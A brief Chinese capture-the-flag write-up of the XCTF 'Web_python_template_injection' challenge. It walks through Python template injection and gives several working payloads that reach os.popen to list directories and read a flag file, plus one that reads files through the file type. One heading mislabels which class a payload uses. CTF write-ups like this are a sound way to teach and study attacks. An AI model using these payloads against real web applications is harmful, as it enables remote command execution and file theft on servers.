攻防世界-Web-Web_python_template_injection
知识点
1.SSTI模版注入
步骤
1.检测注入,发现存在
2.查看所有基类
''.__class__.__mro__[2].__subclasses__()
发现有<type 'file'>,<class 'warnings.catch_warnings'>,<class 'site._Printer'>等方法
payload
1.利用<class 'site._Printer'>,在第71位
列出文件和目录
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
或者使用listdir
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}
读取
{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}
2.利用<class 'warnings.catch_warnings'>,在第59位
列出
{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].os.popen('ls').read()}}
读取
{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals['linecache'].os.popen('cat flag').read()}}
3.利用<class 'warnings.catch_warnings'>,在第59位
利用<type 'file'>,只能用于读取文件内容
{{[].__class__.__base__.__subclasses__()[40]('fl4g').read()}}